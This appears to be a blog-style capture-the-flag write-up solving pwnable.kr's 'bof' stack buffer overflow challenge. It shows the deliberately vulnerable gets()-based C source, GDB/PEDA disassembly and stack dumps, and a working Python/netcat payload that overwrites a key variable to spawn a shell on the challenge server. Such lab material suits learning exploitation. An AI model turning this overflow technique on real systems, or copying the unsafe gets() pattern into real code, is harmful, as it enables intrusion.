Pwnable.kr’s third challenge goes like this:
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 900
Let us first download bof.c file from the given link and compile it under x86 architecture:
gcc -m32 bof.c -o bof
This is the first time we meet the beautiful beast called buffer overflow (mistery emphasis sound). Although very simple in this case, there are some gotchas that will really pull your leg in case you want to fully understand what is going on. Like those missing pieces in a puzzle that are in fact little secrets nobody actually tells you :)
In case you are surprised, I am talking about compiler optimizations. Keep this in mind: the code you write is not the code the machine runs. Indeed, if you translate your C code to Assembly by hand you would probably be very surprised how different they are, even if you don’t make any stupid mistakes - which you will. The main point so far is you should not try to predict your compiled code but instead you should debug it and believe only what you see there.
Enough of this senseless introduction. After all, if you came to this page you probably have no idea of what this is all about.
The stack
The internet is full of silly tutorials and blog posts about the stack and how buffer overflows work. In case you need some references, go for the classical Smashing the Stack for fun and Profit and the amazing Journey to the Stack. I will consider you now understand the basics about this stuff.
First let us take a look at bof.c:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char\* argv[]){
func(0xdeadbeef);
return 0;
}
My idea here is to solve this chall while showing step by step how the stack would look like. When main() calls func(), here is what we should have:
main | 0xdeadbeef | RET VAL | SAVED EBP | overflowme
What we want to do is send a big input such that gets() will read more than our buffer size (32 bytes) into the stack. C is a powerfull language, it allows you to do pretty much everything with the memory, for better or worse. If we send more than 32 bytes to our program it will not simply crash. It will instead overflow other positions in the stack, altering its values! If we do things right we might even get to key value in the stack and put 0xcaffebabe in there.
Now, how many bytes exactly would we need to send? Let’s say we will send AAA…A\xbe\xba\xfe\xca. How many padding A’s do we need? Looking at our stack diagram you might say “Dã, 32+4+4 = 40”. So we would need to send 40 A’s and then append our new key value (notice the little endian notation), right? Sadly no.
Remember when I said you should not try to predict your compiled code? Here is an example why. The stack does not behave like that in practice due to compiler optimizations. I might write a post about it some other time but for now you might want to check this SO answer and this cool paper(https://wr.informatik.uni-hamburg.de/_media/teaching/wintersemester_2013_2014/epc-14-haase-svenhendrik-alignmentinc-paper.pdf). Instead, here is how it actually looks like:
main | 0xdeadbeef | RET VAL | SAVED EBP | 0x00000003 | 0x00000001 | 0x67368200
Debugging
You might be asking how the heck do I know it? All the answers rely on GDB. Plus, you should also be using PEDA from now on for everything related to RE, PWNing, exploits and other creatures alike. Fire up your debugger:
$gdb .bof
Now let’s see how our assembly code looks like:
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0804856a <+0>: lea ecx,[esp+0x4]
0x0804856e <+4>: and esp,0xfffffff0
0x08048571 <+7>: push DWORD PTR [ecx-0x4]
0x08048574 <+10>: push ebp
0x08048575 <+11>: mov ebp,esp
0x08048577 <+13>: push ecx
0x08048578 <+14>: sub esp,0x4
0x0804857b <+17>: sub esp,0xc
0x0804857e <+20>: push 0xdeadbeef
0x08048583 <+25>: call 0x80484fb <func>
0x08048588 <+30>: add esp,0x10
0x0804858b <+33>: mov eax,0x0
0x08048590 <+38>: mov ecx,DWORD PTR [ebp-0x4]
0x08048593 <+41>: leave
0x08048594 <+42>: lea esp,[ecx-0x4]
0x08048597 <+45>: ret
End of assembler dump.
gdb-peda$ disassemble func
Dump of assembler code for function func:
0x080484fb <+0>: push ebp
0x080484fc <+1>: mov ebp,esp
0x080484fe <+3>: sub esp,0x38
0x08048501 <+6>: mov eax,gs:0x14
0x08048507 <+12>: mov DWORD PTR [ebp-0xc],eax
0x0804850a <+15>: xor eax,eax
0x0804850c <+17>: sub esp,0xc
0x0804850f <+20>: push 0x8048620
0x08048514 <+25>: call 0x8048390 <printf@plt>
0x08048519 <+30>: add esp,0x10
0x0804851c <+33>: sub esp,0xc
0x0804851f <+36>: lea eax,[ebp-0x2c]
0x08048522 <+39>: push eax
0x08048523 <+40>: call 0x80483a0 <gets@plt>
0x08048528 <+45>: add esp,0x10
0x0804852b <+48>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x08048532 <+55>: jne 0x8048546 <func+75>
0x08048534 <+57>: sub esp,0xc
0x08048537 <+60>: push 0x804862f
0x0804853c <+65>: call 0x80483d0 <system@plt>
0x08048541 <+70>: add esp,0x10
0x08048544 <+73>: jmp 0x8048556 <func+91>
0x08048546 <+75>: sub esp,0xc
0x08048549 <+78>: push 0x8048637
0x0804854e <+83>: call 0x80483c0 <puts@plt>
0x08048553 <+88>: add esp,0x10
0x08048556 <+91>: nop
0x08048557 <+92>: mov eax,DWORD PTR [ebp-0xc]
0x0804855a <+95>: xor eax,DWORD PTR gs:0x14
0x08048561 <+102>: je 0x8048568 <func+109>
0x08048563 <+104>: call 0x80483b0 <__stack_chk_fail@plt>
0x08048568 <+109>: leave
0x08048569 <+110>: ret
End of assembler dump.
Don’t panic! Skimm through this bunch of letters and get only what really matters. Our goal here is to overflow the variable (surprise!) overflowme so that we can control the value of key. First thing we need is to add a breakpoint just before we call gets():
gdb-peda$ break \*0x08048523
Breakpoint 1 at 0x8048523
gdb-peda$ run
Starting program: /tmp/bof
[----------------------------------registers-----------------------------------]
EAX: 0xffffcedc --> 0xcd57
EBX: 0x0
ECX: 0x804b016 --> 0x0
EDX: 0xf7fa9870 --> 0x0
ESI: 0xf7fa8000 --> 0x1b1db0
EDI: 0xf7fa8000 --> 0x1b1db0
EBP: 0xffffcf08 --> 0xffffcf28 --> 0x0
ESP: 0xffffcec0 --> 0xffffcedc --> 0xcd57
EIP: 0x8048523 (<func+40>: call 0x80483a0 <gets@plt>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804851c <func+33>: sub esp,0xc
0x804851f <func+36>: lea eax,[ebp-0x2c]
0x8048522 <func+39>: push eax
=> 0x8048523 <func+40>: call 0x80483a0 <gets@plt>
0x8048528 <func+45>: add esp,0x10
0x804852b <func+48>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x8048532 <func+55>: jne 0x8048546 <func+75>
0x8048534 <func+57>: sub esp,0xc
Guessed arguments:
arg[0]: 0xffffcedc --> 0xcd57
[------------------------------------stack-------------------------------------]
0000| 0xffffcec0 --> 0xffffcedc --> 0xcd57
0004| 0xffffcec4 --> 0xf7ffd918 --> 0x0
0008| 0xffffcec8 --> 0xffffcee0 --> 0xffffffff
0012| 0xffffcecc --> 0x804829f ("_\_libc_start_main")
0016| 0xffffced0 --> 0x0
0020| 0xffffced4 --> 0xffffcf74 --> 0xaedfbccf
0024| 0xffffced8 --> 0xf7fa8000 --> 0x1b1db0
0028| 0xffffcedc --> 0xcd57
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048523 in func ()
Since we don’t want to enter the gets() function, let’s just skip it
gdb-peda$ next
overflow me : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[----------------------------------registers-----------------------------------]
EAX: 0xffffcedc ('A' <repeats 32 times>)
EBX: 0x0
ECX: 0xf7fa85a0 --> 0xfbad2288
EDX: 0xf7fa987c --> 0x0
ESI: 0xf7fa8000 --> 0x1b1db0
EDI: 0xf7fa8000 --> 0x1b1db0
EBP: 0xffffcf08 --> 0xffffcf28 --> 0x0
ESP: 0xffffcec0 --> 0xffffcedc ('A' <repeats 32 times>)
EIP: 0x8048528 (<func+45>: add esp,0x10)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804851f <func+36>: lea eax,[ebp-0x2c]
0x8048522 <func+39>: push eax
0x8048523 <func+40>: call 0x80483a0 <gets@plt>
=> 0x8048528 <func+45>: add esp,0x10
0x804852b <func+48>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x8048532 <func+55>: jne 0x8048546 <func+75>
0x8048534 <func+57>: sub esp,0xc
0x8048537 <func+60>: push 0x804862f
[------------------------------------stack-------------------------------------]
0000| 0xffffcec0 --> 0xffffcedc ('A' <repeats 32 times>)
0004| 0xffffcec4 --> 0xf7ffd918 --> 0x0
0008| 0xffffcec8 --> 0xffffcee0 ('A' <repeats 28 times>)
0012| 0xffffcecc --> 0x804829f ("_\_libc_start_main")
0016| 0xffffced0 --> 0x0
0020| 0xffffced4 --> 0xffffcf74 --> 0xaedfbccf
0024| 0xffffced8 --> 0xf7fa8000 --> 0x1b1db0
0028| 0xffffcedc ('A' <repeats 32 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048528 in func ()
This is why we love debuggers. We can stop in the middle of the execution and inspect what is going on behind the curtains. How is the stack right now, just after we pass 32 A’s?
gdb-peda$ x/16x $ebp-52
0xffffced4: 0xffffcf74 0xf7fa8000 0x41414141 0x41414141
0xffffcee4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcef4: 0x41414141 0x41414141 0x67368200 0x00000001
0xffffcf04: 0x00000003 0xffffcf28 0x08048588 0xdeadbeef
We are showing here the stack from 52 bytes under EBP until 0xdeadbeef. Please notice that the gcc aligns bytes in blocks of 16. Due to this alignment and possibly other optimizations, the compiler adds 3 more groups of 16 bytes each!
0x67368200 0x00000001 0x00000003
Ok, so now we know we must prepend 3*4 more A’s to our payload. An elegant way of printing our payload is:
$ (python2.7 -c 'print "A" * 52 + "\xbe\xba\xfe\xca"')
All right, now we just need to send it to the server and get our flag! Sending
$ (python2.7 -c 'print "A" * 52 + "\xbe\xba\xfe\xca"') | nc pwnable.kr 9000
Will result in the shell being closed just after being opened. In order to keep it open we use the cat - trick. If you have never seen it, get used to, because it is really useful:
$ (python2.7 -c 'print "A" * 52 + "\xbe\xba\xfe\xca"'; cat -) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)
There you go! :)